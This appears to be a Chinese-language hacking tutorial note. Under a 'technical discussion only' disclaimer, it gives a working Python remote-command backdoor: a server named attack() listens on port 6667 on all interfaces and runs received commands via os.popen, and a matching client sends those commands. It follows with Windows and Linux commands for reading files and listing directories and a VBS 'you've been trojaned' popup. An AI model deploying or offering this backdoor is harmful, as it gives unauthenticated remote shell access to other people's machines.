嚴正聲明:本文僅限於技術討論,嚴禁用於其他用途。
編碼:
英文多:建議用UTF-8編碼(utf-8是使用最多的編碼方式,是一種變長字符編碼)
中文多:建議用UTF-16編碼
中文:window中文采用的是GBK格式編碼
netstat -ant :只顯示傳輸層的數據 TCP,UDP連接,可以用來檢查socket服務是否起了
import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有設備均可訪問該服務器的6667端口
s.listen() # 對6667端口進行監聽
chanel, client = s.accept() # 進入阻塞狀態,accept() 返回元組,接受來自客戶端的數據,chanel:新的socket對象用於標識出服務器和哪個客戶端連接進行通信, client: 客戶端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{
receive}的運行結果:\n{
reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()
import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服務器的地址
while True:
sendstr = input("請輸入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服務器回復:{
receive}")
# s.close()
提示:需要導入 os 模塊—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 將字符串按照Python代碼來執行
window
type 文件絕對路徑
linux
cat 文件路徑
window
dir #查看當前文件路徑目錄
dir 文件路徑 #查看指定文件路徑目錄
linux
ls #查看當前文件路徑目錄
ll #查看當前文件路徑目錄詳細信息
ls 文件路徑 #查看指定文件路徑目錄
ll 文件路徑 #查看指定文件路徑目錄詳細信息
windows
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
linux
mkdir 路徑 #創建目錄
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
調用計算器
calc.exe
調用其他引用程序
直接輸入應用程序絕對路徑
echo msgbox("你中木馬了!!") > E:\hi.vbs
E:\hi.vbs